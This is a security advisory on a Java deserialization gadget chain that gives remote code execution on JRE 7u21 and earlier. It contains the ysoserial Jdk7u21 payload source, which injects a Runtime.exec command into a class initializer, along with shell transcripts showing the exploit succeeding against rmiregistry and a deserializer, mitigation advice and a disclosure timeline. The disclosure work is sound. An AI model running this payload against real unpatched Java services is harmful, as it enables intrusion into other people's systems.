Chris Frohoff – Qualcomm Information Security and Risk Management
- Affected Product(s): Java SE 6, Java SE 7
- Fixed in: Java SE 7u25 (2013-06-18), Java SE 8 (2014-03-18)
- Vendor Contact: secalert_us@oracle.com
- Vulnerability Type: Unsafe Object Deserialization
- Remote Exploitable: Yes
- Reported to vendor: 2015-12-18
- Disclosed to public: 2016-01-26
- Release mode: Coordinated release
- CVE: N/A, Mitigated in June 2013 Critical Patch Update (see ysoserial#6)
Calling ObjectInputStream.readObject()
in a Java application using attacker-crafted data can result in arbitrary code execution by effectively instantiating and calling methods on a specially constructed graph of interconnected instances of various Serializable
"gadget" classes already available on the classpath of Java applications.
While previously published examples have demonstrated this type of exploit on the Java platform with gadget classes from popular 3rd-party libraries, this particular proof-of-concept utilizes only existing gadget classes included in JRE versions 7u21 (published 2013-06-18) or earlier that are always on the classpath for all Java applications (see ysoserial); JRE versions 7u25 and later are not vulnerable to this specific PoC.
Open-ended object deserialization of untrusted data, wherein the class/type of serialized objects are encoded into the data stream, has been proven to be almost universally dangerous regardless of language, platform, or serialization format (see "Marshalling Pickles"): PHP, Python, Ruby, Java; multiple binary formats, XML, YAML, JSON. This class of vulnerability has been widely recognized by the security community for many years, having a distinct Mitre CWE definition (CWE-502 Deserialization of Untrusted Data) and OWASP vulnerability classifications (Deserialization of Untrusted Data, Object Injection).
Note that this proof-of-concept only works against JRE versions 7u21 or earlier.
PoC is now available as part of ysoserial.
The included proof-of-concept uses many classes from the JRE, though most notably AnnotationInvocationHandler
and TemplatesImpl
. These objects can be carefully nested inside LinkedHashSet
and HashMap
instances along with a specific string value ("f5a5a608"
) known to have a hashCode()
result of 0
that forces a hash collision. During deserialization this hash collision triggers a call to equals()
on the proxy instance and equalsImpl()
on the AnnotationInvocationHandler
instance, which, in turn, invokes all zero-argument methods on the TemplatesImpl
instance, including TemplatesImpl.getOutputProperties()
. This eventually calls ClassLoader.declareClass()
with the malicious byte array already deserialized into the TemplatesImpl
instance, allowing the maliciously-defined class to then use static initializers to perform arbitrary operations, such as Runtime.exec()
to execute a command.
LinkedHashSet
| |
| `--> Proxy (Templates)
| |
| `--> AnnotationInvocationHandler
| |
| `--> HashMap
| | |
| | `----> String ("f5a5a608")
| |
`-----> TemplatesImpl <------`
|
`-------> byte[] (malicious class definition)
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(
Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates);
return set;
}
}
public class Gadgets {
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
}
public static final String ANN_INV_HANDLER_CLASS
= "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
final Class<?>[] allIfaces
= (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(
Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
}
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
clazz.makeClassInitializer()
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+ command.replaceAll("\"", "\\\"")
+ "\");");
// unique name to allow repeated execution (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
}
Note that applications explicitly instantiating and exposing their own RMI Registry via LocateRegistry.createRegistry()
or binding and exposing RMI objects/calls could be similarly vulnerable.
$ ls -la /tmp/exploited1
ls: cannot access /tmp/exploited1: No such file or directory
$ "$JDKS/jdk1.7.0_21/bin/rmiregistry" -J-Djava.security.policy=all.policy -J-Djdk.xml.enableTemplatesImplDeserialization=true &
[1] 10616
$ "$JDKS/jdk1.7.0_21/bin/java" -cp target/ysoserial-0.0.3-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit localhost 1099 Jdk7u21 "touch /tmp/exploited1"
$ ls -la /tmp/exploited1
-rw-r--r-- 1 cfrohoff users 0 Dec 15 08:31 /tmp/exploited1
Note that applications calling ObjectInputStream.readObject()
over data from a TCP socket or HTTP request could be similarly vulnerable.
$ ls -la /tmp/exploited2
ls: cannot access /tmp/exploited2: No such file or directory
$ "$JDKS/jdk1.7.0_21/bin/java" -jar target/ysoserial-0.0.3-SNAPSHOT-all.jar Jdk7u21 "touch /tmp/exploited2" > /tmp/payload
$ ls -la /tmp/exploited2
ls: cannot access /tmp/exploited2: No such file or directory
$ cat /tmp/payload | "$JDKS/jdk1.7.0_21/bin/java" -cp target/ysoserial-0.0.3-SNAPSHOT-all.jar ysoserial.Deserializer
$ ls -la /tmp/exploited2
-rw-r--r-- 1 cfrohoff users 0 Dec 15 08:35 /tmp/exploited2
$ cat /tmp/payload | xxd | head
0000000: aced 0005 7372 0017 6a61 7661 2e75 7469 ....sr..java.uti
0000010: 6c2e 4c69 6e6b 6564 4861 7368 5365 74d8 l.LinkedHashSet.
0000020: 6cd7 5a95 dd2a 1e02 0000 7872 0011 6a61 l.Z..*....xr..ja
0000030: 7661 2e75 7469 6c2e 4861 7368 5365 74ba va.util.HashSet.
0000040: 4485 9596 b8b7 3403 0000 7870 770c 0000 D.....4...xpw...
0000050: 0010 3f40 0000 0000 0002 7372 003a 636f ..?@......sr.:co
0000060: 6d2e 7375 6e2e 6f72 672e 6170 6163 6865 m.sun.org.apache
0000070: 2e78 616c 616e 2e69 6e74 6572 6e61 6c2e .xalan.internal.
0000080: 7873 6c74 632e 7472 6178 2e54 656d 706c xsltc.trax.Templ
0000090: 6174 6573 496d 706c 0957 4fc1 6eac ab33 atesImpl.WO.n..3
JRE 7u25 and later have a hardened AnnotationInvocationHandler
that breaks this PoC exploit.
$ cat /tmp/payload | "$JDKS/jdk1.7.0_72/bin/java" -cp target/ysoserial-0.0.3-SNAPSHOT-all.jar ysoserial.Deserializer
Exception in thread "main" java.io.InvalidObjectException: Non-annotation type in annotation serial stream
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:436)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
at ysoserial.Deserializer.deserialize(Deserializer.java:27)
at ysoserial.Deserializer.main(Deserializer.java:32)
The obvious immediate mitigation for any vulnerable application running on JRE 7u21 or earlier is to upgrade to a more recent version not affected by the specific proof-of-concept exploit, but additional controls are imperative to more broadly and assuredly reduce the risk of similar vulnerabilities.
More detailed recommendations on the various types of mitigation techniques can be found in the "Marshalling Pickles" presentation.
The primary mitigation should be to avoid performing open-ended object deserialization (i.e. ObjectInputStream.readObject()
) from untrusted data.
To this end, documentation for Java serialization components (java.io.Serializable
, java.io.ObjectInputStream
, etc.) should include warnings that such attacks are possible and that open-ended object deserialization should not be used with untrusted data, or, at a minimum, that it should be used only with extreme care and with contextually appropriate security controls (examples below).
Further, vendor and/or open-source software still electing to perform such potentially unsafe deserialization should clearly document that fact so users can understand the potential risks and if/where additional security controls might need to be employed.
In the case where completely avoiding open-ended deserialization is not possible, a secondary mitigation could be to protect the application surface area from exploitation by some combination of hardening and authentication:
- using a whitelisting/blacklisting runtime agent or subclass of
ObjectInputStream
to disable deserialization of certain/all classes (see "Closing the Open Door of Java Object Deserialization", Will Sargent and "Look-ahead Java deserialization", Pierre Ernst) * - using a
SecurityManager
and security policy ** - network listeners used for/with deserialization (i.e. remoting) should listen only on loopback adapters or ports that are protected by local/network firewall rules
- data channels or streams used for deserialization should be authenticated with credentials and/or or cryptography before object deserialization starts
*Note that whitelisting is generally considered more secure and preferred to blacklisting, and in this case the latter is more similar to gadget class removal (see below); class whitelisting may still leave applications open to other attacks that use core data-structure classes (see SerialDOS.java, Wouter Coekaerts)
**Note that the rmiregistry
binary bundled with Java and targeted by one of the PoC examples uses a SecurityManager
and strict security policy by default and is normally not vulnerable to this PoC.
A tertiary mitigation that may be prudent but is not sufficient is to harden and/or remove gadget classes used in attacks. While this may mitigate attacks by well-known exploit code, this leaves applications open to exploitation using gadget classes/chains discovered in the future and potential 0-day attacks using gadget classes/chains not disclosed publicly.
Note that newer versions of the JRE (7u25 and newer) are not vulnerable to this specific PoC because hardening has already been done on one of the gadget classes, AnnotationInvocationHandler
(see "More serialization hacks with AnnotationInvocationHandler", Wouter Coekaerts and OpenJDK changesets 0ca6cbe3f350 and 654a386b6c32).
With the historical difficulty of maintaining security in this area, including multiple sandbox escape vulnerabilities that used deserialization somehow, it may be worth considering eventually deprecating the existing Java serialization API in favor of a more secure, defensible, and preferably non-open-ended alternative; many popular 3rd party libraries are already available, and discussions have already taken place about designing a new, more secure API.
According to general responsible disclosure practices the vendor will have 90 days to respond and coordinate a disclosure timeline within which to perform any desired mitigation measures and/or documentation changes, after which the content of this advisory will be publicly disclosed.
- 2015-12-18: Reported to vendor
- 2016-01-20: Vendor replied, no further mitigations planned
- 2016-01-26: Publicly disclosed
The dates in Timeline section are probably wrong. Should it be 2016-01-20 and 2016-01-26 respectively?